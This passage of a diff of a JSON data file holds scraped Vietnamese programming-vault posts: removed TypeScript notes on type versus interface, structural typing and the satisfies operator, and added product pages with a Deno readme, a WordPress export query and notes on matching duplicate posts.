"2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-13T15:12:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X0" + "id": "ak" }, { - "Tiêu đề": "Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn", + "Tiêu đề": "Hướng dẫn sử dụng Trấn Kỳ", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/Hướng dẫn sử dụng Trấn Kỳ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Trong TypeScript, nếu ta muốn khai báo kiểu cho vật thể, ta có thể dùng từ khoá `type` hoặc `interface`. `type` làm được gì thì `interface` cũng làm được như thế. Vậy thì khi nào nên dùng `type` và khi nào nên dùng `interface`?\r\n\r\n```ts\r\ntype CâuNhập = string\r\ntype DanhSáchCâuNhập = Array<CâuNhập>\r\ntype SốTiền = number\r\n```\r\n\r\nKhông như từ khoá `interface`, từ khoá `type` sử dụng dấu bằng. Trong toán học, **dấu bằng thể hiện mối quan hệ đồng nhất**. `a = b` khi và chỉ khi a và b đồng nhất. Sự đồng nhất này thậm chí còn hơn cả sự tương đương. Đây là một ý tưởng rất quan trọng trong toán học, mà ta lại hiểu được rất dễ dàng. Chính vì điều này, việc dùng `type` làm ta **ngay lập tức lĩnh hội được ý tưởng rằng đây là mối quan hệ đồng nhất**. Việc sử dụng `type` thay cho `interface` làm cho biểu thức gọn gàng hơn. Nó cũng khiến cho ta có thể linh hoạt thay đổi kiểu dữ liệu, không khiến ta bị đóng khung vào việc phải lưu dữ liệu dưới dạng vật thể. \r\n\r\n<sub>Và thực ra, hệ thống kiểu (type system) trong khoa học máy tính có nguồn gốc từ lý thuyết hình thái (type theory) trong toán học. </sub>\r\n\r\n```ts\r\ninterface ĐộngVật {\r\n\tmeomeo: boolean; \r\n}\r\ninterface Mèo extends ĐộngVật {\r\n\tmeomeo: boolean; \r\n}\r\n```\r\n\r\nTuy nhiên, điều mà từ khoá `type` truyền tải khác với điều mà từ khoá `interface` truyền tải. Không giống như kiểu, vốn bắt nguồn từ toán học, giao diện là một khái niệm đến từ khoa học máy tính. Tầm quan trọng của giao diện đến từ việc [[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì|nó là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]. Nếu lấy một vật thể cụ thể như bóng đèn làm ví dụ, thì giao diện của nó sẽ là cái đui đèn: chỉ cần người dùng có cái đui đó và nhà sản xuất tạo ra bóng đèn có cái đui đó thì đèn sẽ hoạt động. Người dùng không cần quan tâm cái đèn được tạo ra như thế nào, nhà sản xuất cũng không cần biết người dùng sẽ dùng cái đèn ra sao. Họ không cần quan tâm đến nhau để có thể đáp ứng được nhu cầu của nhau một cách hàng loạt. Nó là cái thứ mà người dùng thấy ở cái bóng đèn, là thứ bóng đèn giao tiếp với họ.\r\n\r\nCho nên, dù đúng là có thể dùng cả `type` và `interface` để khai báo kiểu cho vật thể, không có nghĩa là chúng truyền tải những ý đồ giống nhau. Ta không nên chỉ quan tâm mỗi việc làm sao để code chạy được, mà còn phải quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code. Việc thể hiện rõ được ý đồ của mình sẽ khiến ta đọc code dễ dàng hơn. Nếu sử dụng `interface` thì IDE có thể hiểu được ý mình tốt hơn và cho thông báo lỗi cụ thể hơn. Nếu đã xác định dữ liệu cần phải được lưu dưới dạng vật thể thì dùng `interface` sẽ tốt hơn.\r\n\r\n\r\nNguồn:: ![Why use Type and not Interface in TypeScript - YouTube](https://www.youtube.com/watch?v=Idf0zh9f3qQ&lc=UgxfYYiGoHCcnsqUTR54AaABAg)\r\nNguồn:: [TypeScript: Documentation - TypeScript for JavaScript Programmers](https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html)\r\n\r\n[[Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến]]", + "Toàn bộ nội dung": "> [!NOTE] Hỗ trợ trực tiếp\r\n> Nếu bạn cần sự hỗ trợ trực tiếp, bạn có thể tham gia [các buổi hướng dẫn sử dụng Trấn Kỳ](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/c%C3%A1c%20bu%E1%BB%95i%20%C4%91%C3%A1p%20%E1%BB%A9ng%20nhu%20c%E1%BA%A7u%20h%E1%BB%8Dc%20c%C3%A1ch%20s%E1%BB%AD%20d%E1%BB%A5ng%20c%C3%B4ng%20c%E1%BB%A5%20v%C3%A0%20t%C6%B0%20duy%20l%E1%BA%ADp%20tr%C3%ACnh%20cho%20nhu%20c%E1%BA%A7u%20c%C3%A1%20nh%C3%A2n%20ho%E1%BA%B7c%20nghi%C3%AAn%20c%E1%BB%A9u/c%C3%A1c%20bu%E1%BB%95i%20h%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20tr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+H%C6%B0%E1%BB%9Bng+d%E1%BA%ABn+s%E1%BB%AD+d%E1%BB%A5ng+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3). Chúng là một phần của [các buổi đáp ứng nhu cầu học cách sử dụng công cụ và hiểu tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/c%C3%A1c%20bu%E1%BB%95i%20%C4%91%C3%A1p%20%E1%BB%A9ng%20nhu%20c%E1%BA%A7u%20h%E1%BB%8Dc%20c%C3%A1ch%20s%E1%BB%AD%20d%E1%BB%A5ng%20c%C3%B4ng%20c%E1%BB%A5%20v%C3%A0%20t%C6%B0%20duy%20l%E1%BA%ADp%20tr%C3%ACnh%20cho%20nhu%20c%E1%BA%A7u%20c%C3%A1%20nh%C3%A2n%20ho%E1%BA%B7c%20nghi%C3%AAn%20c%E1%BB%A9u/9%20blog/c%C3%A1c%20bu%E1%BB%95i%20%C4%91%C3%A1p%20%E1%BB%A9ng%20nhu%20c%E1%BA%A7u%20h%E1%BB%8Dc%20c%C3%A1ch%20s%E1%BB%AD%20d%E1%BB%A5ng%20c%C3%B4ng%20c%E1%BB%A5%20v%C3%A0%20t%C6%B0%20duy%20l%E1%BA%ADp%20tr%C3%ACnh%20cho%20nhu%20c%E1%BA%A7u%20c%C3%A1%20nh%C3%A2n%20ho%E1%BA%B7c%20nghi%C3%AAn%20c%E1%BB%A9u/?utm_source=CW+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+H%C6%B0%E1%BB%9Bng+d%E1%BA%ABn+s%E1%BB%AD+d%E1%BB%A5ng+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3).\r\n\r\n# 1. Cài đặt và sử dụng nhanh\r\n```dataview\r\nlist\r\nfrom \"👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh\" \r\n```\r\n\r\n# 2. Thiết lập chương trình\r\n```dataview\r\nlist\r\nfrom \"👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình\" \r\n```\r\n# 3. Hiểu code nói gì\r\n```dataview\r\nlist\r\nfrom \"👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X1" + "id": "al" }, { - "Tiêu đề": "Nếu một thứ kêu như con vịt và đi như con vịt, thì nó là con vịt", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Nếu một thứ kêu như con vịt và đi như con vịt, thì nó là con vịt", + "Tiêu đề": "readme", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/đối ⊷ thoại/readme", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```ts\n// TypeScript is a Structural Type System. A structural type\n// system means that when comparing types, TypeScript only\n// takes into account the members on the type.\n\n// This is in contrast to nominal type systems, where you\n// could create two types but could not assign them to each\n// other. See example:nominal-typing\n\n// For example, these two interfaces are completely\n// transferrable in a structural type system:\n\ninterface Ball {\n diameter: number;\n}\ninterface Sphere {\n diameter: number;\n}\n\nlet ball: Ball = { diameter: 10 };\nlet sphere: Sphere = { diameter: 20 };\n\nsphere = ball;\nball = sphere;\n\n// If we add in a type which structurally contains all of\n// the members of Ball and Sphere, then it also can be\n// set to be a ball or sphere.\n\ninterface Tube {\n diameter: number;\n length: number;\n}\n\nlet tube: Tube = { diameter: 12, length: 3 };\n\ntube = ball;\nball = tube;\n\n// Because a ball does not have a length, then it cannot be\n// assigned to the tube variable. However, all of the members\n// of Ball are inside tube, and so it can be assigned.\n\n// TypeScript is comparing each member in the type against\n// each other to verify their equality.\n\n// A nominal type system means that each type is unique\n// and even if types have the same data you cannot assign\n// across types.\n\n// TypeScript's type system is structural, which means\n// if the type is shaped like a duck, it's a duck. If a\n// goose has all the same attributes as a duck, then it also\n// is a duck. You can learn more here: example:structural-typing\n\n// This can have drawbacks, for example there are cases\n// where a string or number can have special context and you\n// don't want to ever make the values transferrable. For\n// example:\n//\n// - User Input Strings (unsafe)\n// - Translation Strings\n// - User Identification Numbers\n// - Access Tokens\n\n// We can get most of the value from a nominal type\n// system with a little bit of extra code.\n\n// We're going to use an intersectional type, with a unique\n// constraint in the form of a property called __brand (this\n// is convention) which makes it impossible to assign a\n// normal string to a ValidatedInputString.\n\ntype ValidatedInputString = string & { __brand: \"User Input Post Validation\" };\n\n// We will use a function to transform a string to\n// a ValidatedInputString - but the point worth noting\n// is that we're just _telling_ TypeScript that it's true.\n\nconst validateUserInput = (input: string) => {\n const simpleValidatedInput = input.replace(/\\</g, \"≤\");\n return simpleValidatedInput as ValidatedInputString;\n};\n\n// Now we can create functions which will only accept\n// our new nominal type, and not the general string type.\n\nconst printName = (name: ValidatedInputString) => {\n console.log(name);\n};\n\n// For example, here's some unsafe input from a user, going\n// through the validator and then being allowed to be printed:\n\nconst input = \"alert('bobby tables')\";\nconst validatedInput = validateUserInput(input);\nprintName(validatedInput);\n\n// On the other hand, passing the un-validated string to\n// printName will raise a compiler error:\n\nprintName(input);\n\n// You can read a comprehensive overview of the\n// different ways to create nominal types, and their\n// trade-offs in this 400 comment long GitHub issue:\n//\n// https://github.com/Microsoft/TypeScript/issues/202\n//\n// and this post is a great summary:\n//\n// https://michalzalecki.com/nominal-typing-in-typescript/\n```\n\nNguồn:: [TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript](https://www.typescriptlang.org/play/?#code/PTAEEFQOwewWwJZQIYBtQBcCeAHApqAM5aEZ5yhx7JSGYAWyGo1AxvZrgQnQK5QIAjrzwAoEKBoATFgDc8UUAgBmnfHUbyGBQsiqgpTZKCwxeoVjVjNkhQggDmUcWGSsATjDtq8hAHSiLqAAKlwAyh4IOBgA5HTY+EQkZBQ8RBjuvKwYvO5oADSgAO70COyU1LRBKto+SnSEjPgyqAgA1gTGUllthQixdF09fqAAkqrIQQ4wXgSMg6joGPQ6ep0YGQgARrxkg4MGPYXLCko2qIQw1QfdrG0jAJpmFjSgqNTuinAw7nN4vwAuFgADz0OHeANImWyuTQAFoEkgHIEJMFSnRLIpNAQpHkils3G1CIVlD8QWD3tpfpJqZZCL4giV-p10u4kaAyVBeHAtv8XljkFpCPhWAg0BYYFAyMCbFAZKZeEEpJKYswijRmBgYHI+XBkB1arI0CJ4nlaMp-nktu8RgAxH5BPCguDgvAAlxBOGgUAAVXp7jGUBwu1AYU2UAcdAAFPxdBaAJSe73BM2EVBMBCS0PhyNJ33+sZSBQYFRlDNZgBy3N57kIefArFYvjowRgHSqQQA6gRMaAHHhmN9SBzVCdQEbUCJQMpPBRjLBECgllwgsRSORiv0OMZWhtKVt+iOQRljKwYEWAl28DFqdN2VrQLx6ZJFEgyLW8NlM0ufIUilvJEfARhDECQz1oE83yURQx1JdwKBgCZQBwTx8HcbAXkWPAZAAfRwrYzRkKNlh4a4JSgeQpW-eNilKco9Q6OhDwQF0vHsa0CAfWx7CcSQglgeDxShe9tWMAA1NAEEMMgpFGINdjDNkI0vBICAk1ppOwuTgwwRT2QAXlZdkADJQAAb1APCCOkIEACI-T5bSQwABS8Zh1Kk8soFs0AAF8AG4UTAbtN0WR9n2MZR+C-LMHxPc0fjnIyI0wK4JHEyTNNk+TdJzUAvR2TUVmQmAoKKH5lmgGASwjMjliYYpr2pAArJ9mBwshFiRHCQnCSJogYBr+jiTBMjwS9wOHCdPLIBz3Cc5hDKjJAdKBYSIxo-SAD5zNEb1JuYewXXeDysoW0BDJW3Y-F+cE3DwKNgAAHQAHmABxClswATIls+NAu9X4ck+IgWNdU6mC0nLJDocGZIWvSI0CgKgtACsYCKRr+QsX4IenaKS0lOgSjKDh-zCyVUCwSRGzwaIgjMAMoDwDGFyQcVVMKaQqqKgh+yZvJ0HWhwfAmwnmBQt8KzWC7QCjFAqCBWHIZ0hGHE2nazL28jLhtVAYAcOW1j+0RkaCe0AydCk8EKFZfhGy59FjZALWgnTp1nQCn3+Qo71qiRlk8XgHA4MdpukskuZORReXZNA9aKbDUtAXlkKUmT3VEA7XZDQzbLQf4MCjGIthgLYtipjBkA4wgYnjWzAqzsOIeyt3DKb2b-QW5acuNiWpSlqgo3b5XdmNoIAHkYOK6rbdARg5UKHBuPvYr+DhYeZCF1Kgj7jAB4IMn0DyHgWTPF0EHeC33E8dwM93-fu50seJCecxexxmRT3gFC8BWWgEC0DAeQ7hZAIGZkeE4SoVAWl+FKYoyASBJw8NQMgVVFzsy4MSF8MgTgIHcEEE8RY4SIWUExKeaQAAsAAGKhEo4BUDgXrFKABxfoAAJXgWx6iEBEO6EAQR6AbBwIQAEIAHBbk4X4M+wAACyZRPCXGUBgYAoR8ARDZNEYAPAeG+GAAAJioXoj06U5QMDSDgNy9RAIOBxodbkep3BYD4cAARQiREgEQOwNAAAvfOdwEBSPgMAVmS4ES4CRHCJAYT1D9WUaIIAA)", + "Toàn bộ nội dung": "# Thử nhanh\r\nSau khi cài đặt Git, Deno và clone repo này về thì chạy lệnh sau trên terminal:\r\n```\r\ndeno task start\r\n```\r\n\r\n# Lấy dữ liệu từ vault, website của bạn\r\n## Chuẩn bị dữ liệu\r\n### Obsidian, Logseq\r\nVault của bạn cần có một thư mục thiết lập, và trong đó có một note thiết lập có frontmatter như sau:\r\n```yaml\r\n---\r\nTên vault: xxx\r\nMã vault: yyy\r\nMô tả: zzz\r\nURL: ttt\r\n---\r\n```\r\n\r\n### WordPress \r\n[Mở PhPMyAdmin lên và chạy truy vấn SQL](https://youtu.be/VnBdOBKwPes?si=6XjJZ3hsX-WR15jT) dưới đây. Nhớ thay `wp` bằng tên table của bạn.\r\n```sql\r\nSELECT wp_posts.post_title, GROUP_CONCAT(wp_terms.name) AS categories, wp_posts.post_name, wp_posts.post_author, wp_posts.post_excerpt, wp_posts.post_date, wp_posts.post_modified\r\nFROM wp_posts\r\nLEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)\r\nLEFT JOIN wp_term_taxonomy ON (wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id)\r\nLEFT JOIN wp_terms ON (wp_term_taxonomy.term_id = wp_terms.term_id)\r\nWHERE wp_posts.post_type = 'post' \r\nAND wp_posts.post_status = 'publish'\r\nGROUP BY wp_posts.ID\r\n```\r\nXuất kết quả dưới dạng CSV.\r\n\r\n## Thiết lập cấu hình\r\nChỉnh sửa các cấu hình có sẵn trong `Cấu hình và dữ liệu/Nơi đăng` và các đường dẫn trong `Code chạy trên local, server, KV/ĐƯỜNG_DẪN.ts` cho đúng.\r\n\r\n## Tạo biến môi trường\r\nTạo tập tin `.env` với nội dung như sau:\r\n```env\r\nDENO_KV_ACCESS_TOKEN = XXX\r\nKV_UUID = YYY\r\n\r\nORIGIN = https://localhost:8000\r\nCORS_PROXY = https://mywebsite.deno.dev\r\n```\r\n\r\n## Tạo dữ liệu \r\nĐảm bảo tập tin `Code chạy trên local, server, KV/mod.ts` các dòng sau không bị comment:\r\n```ts\r\nimport { tạoBàiĐăng, tạoNơiĐăng } from \"./Tạo dữ liệu.ts\";\r\n\r\nawait tạoBàiĐăng();\r\nawait tạoNơiĐăng();\r\n```\r\nBắt đầu tạo danh sách bài đăng và nơi đăng bằng việc chạy lệnh sau trên terminal:\r\n```\r\ndeno run --allow-all --unstable-kv `Code chạy trên local, server, KV/mod.ts`\r\n```\r\nSau đó khởi động dự án bằng lệnh sau trên terminal:\r\n```\r\ndeno task start\r\n```\r\nTruy cập `http://localhost:8000` để xem kết quả\r\n\r\n## Deploy\r\nDùng Deno Deploy và liên kết tới GitHub của bạn.\r\n\r\n# Giấy phép\r\nAGPL: Người sử dụng dịch vụ của bạn có quyền tiếp cận và chia sẻ mã nguồn từ các chương trình bạn tạo ra dựa trên chương trình này. Đọc thêm về [lý do sử dụng giấy phép này](https://doi-thoai.deno.dev/why-affero-gpl.d.1 \"Why the GNU Affero GPL - GNU Project - Free Software Foundation\").\r\n![Logo AGPL](https://www.gnu.org/graphics/agplv3-with-text-162x68.png) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T15:41:00.000Z", - "id": "X2" + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "am" }, { - "Tiêu đề": "satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không", + "Tiêu đề": "Xác định bài đăng giống nhau", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/đối ⊷ thoại/Xác định bài đăng giống nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```ts\r\ntype Colors = \"red\" | \"green\" | \"blue\";\r\ntype RGB = [red: number, green: number, blue: number];\r\nconst palette = {\r\n\tred: [255, 0, 0],\r\n\tgreen: \"#00ff00\", \r\n\tbleu: [0, 0, 255]\r\n// ~~~~ The typo is now caught!\r\n} satisfies Record<Colors, string | RGB>;\r\n```\r\n\r\nNguồn:: [[freeCodeCamp]], [How to Use the TypeScript satisfies Operator](https://www.freecodecamp.org/news/typescript-satisfies-operator/)\r\n[TypeScript: Documentation - TypeScript 4.9](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-9.html)\r\n[[as, is là những cách để nói cho TS biết là mình hiểu nhiều hơn nó]]", + "Toàn bộ nội dung": "Mô tả vấn đề: có nhiều loại thông tin không phải lúc nào cũng được ghi, và không phải cứ thay đổi là khác nhau. VD: cùng một bài đăng, nhưng URL có thể đã thay đổi khi đổi đường dẫn, tiêu đề có thể đã được viết lại, nội dung có thể đã được cập nhật, vault và dự án có thể đã được cấu trúc lại. Tất cả mọi thứ đều có thể đã khác, nhưng ta vẫn xem chúng là giống nhau. Đây là nghịch lý con tàu Theseus điển hình.\r\n \r\nHàm này sẽ xác định sự giống nhau dựa vào các tiêu chí chính và các tiêu chí phụ.\r\n\r\nCác tiêu chí chính: tiêu đề, URL, mô tả bài đăng, và toàn bộ nội dung bài đăng. Đây là các thành phần bắt buộc phải có khi viết bài. Chỉ cần trùng một trong 4 tiêu chí này thì mặc định là bài đăng giống nhau. Nhưng nếu không trùng hết tất cả thì cũng chưa chắc là khác nhau.\r\n\r\nNếu khác định dạng bài đăng (VD một cái là markdown, một cái là HTML) thì mặc định là bài đăng khác nhau.\r\n\r\nNếu các tiêu chí chính đều khác nhau và cùng định dạng bài đăng thì bắt đầu xét tới các tiêu chí phụ: Vault, id, mã bài đăng, tên dự án, mã dự án. Chúng là những thông tin thường hay bị bỏ qua khi viết. Tuy nhiên, chúng lại có đặc điểm là ít bị thay đổi hơn là các tiêu chí chính. Nếu có quá nửa số tiêu chí phụ khác nhau thì xét là bài đăng khác nhau. Còn không thì xét là giống nhau.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X3" + "id": "an" }, { - "Tiêu đề": "DefinitelyTyped", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/DefinitelyTyped", + "Tiêu đề": "đối ⊷ thoại", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/đối ⊷ thoại", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [GitHub - DefinitelyTyped/DefinitelyTyped: The repository for high quality TypeScript type definitions.](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master)", + "Toàn bộ nội dung": "# Hướng dẫn sử dụng\r\n## Viết cấu hình chung\r\n## Viết cấu hình nơi đăng\r\n- 3 cấp bậc đầu: không có dấu `-` phía trước\r\n- Tất cả các cấp sau: luôn có dấu `-` phía trước. Nếu dưới nó còn có cấp nhỏ hơn thì phải có dấu `:` phía sau\r\n\r\n```\r\n - Quả Cầu https://quảcầu.cc\r\n - Obsidian, quản lý dự án và công cụ nghĩ https://obsidian.quảcầu.cc\r\n - Tiếp thị số, xử lý dữ liệu và lập trình https://lậptrình.quảcầu.cc\r\n - đối ⊷ thoại https://doi-thoai.deno.dev\r\n - Trấn Kỳ https://tranky.deno.dev\r\n```\r\n\r\n`Tên_website liên_kết`\r\n\r\n| Diễn đàn | Discord | Messenger | Telegram |\r\n| --------------------------- | -------------------------- | -------------- | -------- |\r\n| Tài khoản, trang, nhóm | Server | Community | Group |\r\n| Ảnh bìa, ảnh đại diện, v.v. | Text Channel/Forum Channel | Community Chat | Topic |\r\n| ❌ | Channel Thread/Forum Post | Sidechat | ❌ |\r\n\r\n\r\nDiễn đàn\r\n\r\n| | Tài khoản | Trang | Nhóm |\r\n| ----------------- | --------- | ----- | --------- |\r\n| Facebook/LinkedIn | | | |\r\n| Reddit | | | Subreddit |\r\n| GitHub | | Org | |\r\n| | | | |\r\n\r\n\r\nMạng xã hội\r\n\r\nđể tránh rối loạn thì chỉ dịch loại nơi đăng cấp 0, còn lại để tiếng Anh. Ví dụ như bio, about, description. Forum, website,\r\n\r\n| Loại nền tảng | Tên nền tảng | Loại nơi đăng | Tên nơi đăng |\r\n| ------------- | ------------ | -------------------- | ------------ |\r\n| SaaS | Tên SaaS | Tên dịch vụ của SaaS | |\r\n| | | | |\r\n\r\n\r\n| | Giới thiệu | Bình luận |\r\n| ---------- | ---------- | --------- |\r\n| Plain text | | |\r\n| Markdown | | |\r\n| HTML | | |\r\nĐịnh dạng đầu ra phụ thuộc vào:\r\n- Mục tiêu: chỉ gửi link, bình luận, giới thiệu\r\n- Định dạng: plain text, markdown, HTML\r\n\r\n\r\nNếu bạn có website \r\nNhất là những ai cần vault\r\n\r\nDùng F G vì cú pháp tiếng Anh cho phép để F ở trước, G ở sau.\r\n\r\nDiễn đàn là đăng và người khác có thể đọc được và có cơ chế xếp hạng bài đăng. Tương tác cao thì sẽ được đẩy lên cao hơn. Chat là chỉ những người vào đó mới đọc được, và không có cơ chế xếp hạng tin nhắn.\r\n\r\nBạn có thể ghi từ khác (VD: subreddit), nhưng sẽ mặc định là giống như nhóm\r\n# Liên kết rút gọn\r\nNếu có viết tắt thì dùng tên viết tắt, còn không thì lấy ký tự đầu tiên mỗi chữ\r\n\r\n- [ ] Convert bài viết thành định dạng phù hợp\r\n\r\n\r\n- 3 cấp bậc đầu: không có dấu `-` phía trước\r\n- Tất cả các cấp sau: luôn có dấu `-` phía trước. Nếu dưới nó còn có cấp nhỏ hơn thì phải có dấu `:` phía sau\r\n\r\n| Diễn đàn | Discord | Messenger | Telegram |\r\n| --------------------------- | -------------------------- | -------------- | -------- |\r\n| Tài khoản, trang, nhóm | Server | Community | Group |\r\n| Ảnh bìa, ảnh đại diện, v.v. | Text Channel/Forum Channel | Community Chat | Topic |\r\n| ❌ | Channel Thread/Forum Post | Sidechat | ❌ |\r\n\r\n\r\nDiễn đàn\r\n\r\n| | Tài khoản | Trang | Nhóm |\r\n| ----------------- | --------- | ----- | --------- |\r\n| Facebook/LinkedIn | | | |\r\n| Reddit | | | Subreddit |\r\n| GitHub | | Org | |\r\n| | | | |\r\n\r\n\r\n\r\n# Hướng dẫn sử dụng\r\nDán liên kết. Bấm <kbd>Ctrl+Enter</kbd>\r\nBối cảnh có thể là \r\nĐể xem nhanh \r\n\r\nNếu bạn có website \r\nNhất là những ai cần vault\r\n\r\nDùng F G vì cú pháp tiếng Anh cho phép để F ở trước, G ở sau.\r\n\r\nDiễn đàn là đăng và người khác có thể đọc được và có cơ chế xếp hạng bài đăng. Tương tác cao thì sẽ được đẩy lên cao hơn. Chat là chỉ những người vào đó mới đọc được, và không có cơ chế xếp hạng tin nhắn.\r\nDự án: điều mình muốn làm, chiến dịch: điều mọi người cần, vault, sản phẩm\r\n\r\nBạn có thể ghi từ khác (VD: subreddit), nhưng sẽ mặc định là giống như nhóm\r\n\r\n| Giờ | Ngày | Request | Transferred Bytes (MiB) | KV Read Unit (K) |\r\n| ----- | ---------- | ------- | ----------------------- | ---------------- |\r\n| 1:19 | 1/6 | 381 | 69.6 | 56.7 |\r\n| 10:43 | 1/6 | 389 | 76.9 | 61.1 |\r\n| 00:22 | 2024-06-02 | 397 | 77.4 | 61.1 |\r\n| 17:56 | 2024-06-02 | 409 | 85.1 | 65.4 |\r\n| 20:32 | | 423 | 98.7 | 81.3 |\r\n\r\n# Test\r\n| Time | Request Count | Transferred Bytes (MiB) | KV Read Unit | KV Write Unit | Note |\r\n| ----- | ------------- | ----------------------- | ------------ | ------------- | ---------------- |\r\n| 00:41 | 19 | 14.9 | 21 | 220 | Start from here |\r\n| 00:42 | | | | | Make 1st request |\r\n| 00:47 | 21 | 15.9 | 25 | 230 | |\r\n| 00:48 | | | | | Make 2nd request |\r\n| 00:59 | 22 | 16.6 | 25 | 230 | |\r\n| 13:26 | | | | | 3rd request |\r\n| 13:38 | 23 | 17.2 | 29 | 240 | |\r\n\t", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X4" + "id": "ao" }, { - "Tiêu đề": "dts hoặc siroc dùng để khởi tạo dự án mà không tốn quá nhiều thời gian config", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Thư viện, plugin/dts hoặc siroc dùng để khởi tạo dự án mà không tốn quá nhiều thời gian config", + "Tiêu đề": "Các chương trình ứng dụng không giao tiếp trực tiếp với CSDL mà qua một trung gian gọi là hệ quản trị cơ sở dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Mô hình dữ liệu/Các chương trình ứng dụng không giao tiếp trực tiếp với CSDL mà qua một trung gian gọi là hệ quản trị cơ sở dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Introduction – TSDX](https://tsdx.io/)\n[dts-cli - npm](https://www.npmjs.com/package/dts-cli)\n[GitHub - danielroe/siroc: Zero-config build tooling for Node](https://github.com/danielroe/siroc)", + "Toàn bộ nội dung": "![](https://xdulieu.com/co-so-du-lieu/cs1-khai-quat/nguoi-may.png) \r\nNguồn:: [Các phương pháp tổ chức dữ liệu](https://xdulieu.com/co-so-du-lieu/cs1-khai-quat/kq2-cac-phuong-phap-to-chuc-du-lieu.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-30T07:39:00.000Z", - "id": "X5" + "Ngày tạo": 